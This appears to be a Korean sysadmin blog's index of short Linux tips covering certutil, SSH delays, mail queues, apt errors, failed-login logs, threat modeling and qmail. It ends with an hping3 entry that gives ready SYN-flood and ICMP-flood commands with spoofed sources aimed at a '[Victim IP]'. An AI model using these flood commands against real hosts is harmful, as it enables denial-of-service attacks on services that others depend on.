1. Command certutil -decode [input file] [output file] certutil -encode [input file] [output file]
Author: manager
SquirrelMail Error
1. 13 : Permission denied setsebool -P httpd_can_network_connect=1 2. 111 : Connection refused service dovecot start
hostname 변경
1. Command ### hostname 수정 vi /etc/hostname ### hostname 적용 hostname -F /etc/hostname ### 재부팅 reboot
SSH 접속 지연 문제
1. Problem SSH 접속시 id 입력 후 pw 문자가 뜨기 전까지 딜레이가 걸릴 때 2. Solve vi /etc/sshd/sshd_config ; 원인 – DNS 조회로 인한 Delay GSSAPIAuthentication no UseDNS no service sshd restart
Delete mail queue
1. Intro Delete mail queue. 2. How to? sendmail ### show mail queue mailq /usr/bin/mailq ### Delete mail queue cd /var/spool/mqueue rm -rf * qmail ### show mail queue /var/qmail/bin/qmail-qstat ### Delete mail queue qmHandle -D
apt update 오류시
1. Intro Ubuntu에서 apt update시 Hash 오류가 나는 경우 2. Command sudo rm -rf /var/lib/apt/lists/* sudo apt-get update -o Acquire::CompressionTypes::Order::=gz sudo apt-get update && sudo apt-get upgrade
Login Fail log
1. Intro Linux에서 Login 실패 로그 분석을 통해 악의적인 로그인 시도에 대한 모니터링을 해야한다. 2. Command last -f /var/log/btmp | awk ‘{print $3}’ | sort | uniq -c | more
Threat Modeling
a. Threat Model or Threat modeling a.1. 시스템 혹은 SW의 잠재적인 취약 위험을 파악, 추출 (위협의 우선순위 설정) threat을 cover할 수 있는 최적의 solution / 위협의 우선순위 설정(최소한의 것을 방어할 수 있는) 공격자 관점에서 보는 것이 좋음 a.1.1. 공격자 관점에서 시스템의 구조상 취약성 공격자가 원하는 자산을 체계적으로 분석할 수 있는 프로세스 공격자가 의도/대상을 가진 경우도 […]
qmail
1. What’s qmail? Unix 운영체제에서 사용 가능한 MTA(Mail Transfer Agent). Sendmail 대체. – RFC 821 – 822 931 974 1123 1413 1651 -1652 1854 1893 1939 – Search masquerading – 참고 https://puzji.tistory.com/entry/CentOS7-%ED%81%90%EB%A9%94%EC%9D%BC-QMAIL-%EC%84%9C%EB%B2%84-%EA%B5%AC%EC%B6%95%ED%95%98%EA%B8%B0 http://archive.linuxfromscratch.org/blfs-museum/5.0/BLFS-5.0/server/qmail.html 2. 참고 자료 http://cr.yp.to/qmail.html https://frody.tistory.com/13 https://wiki.kldp.org/wiki.php/DocbookSgml/Life_With_Qmail-TRANS?action=fullsearch&value=DocbookSgml/Life_With_Qmail-TRANS FAQ : https://cr.yp.to/qmail/faq.html
hping3
1. hping3 Packet generator 2. Command – SYN Flooding hping3 –rand-source [Victim IP] -p [Port] -S –flood –rand-source ; source IP를 랜덤으로 설정 -p ; Port -S ; TCP Packet만 전송 – ICMP Flooding hping3 –icmp –rand-source [Victim IP] -d 65535 –flood –icmp ; icmp Packet만 전송 -d ; Packet의 길이 –flood ; 최대 속도로 […]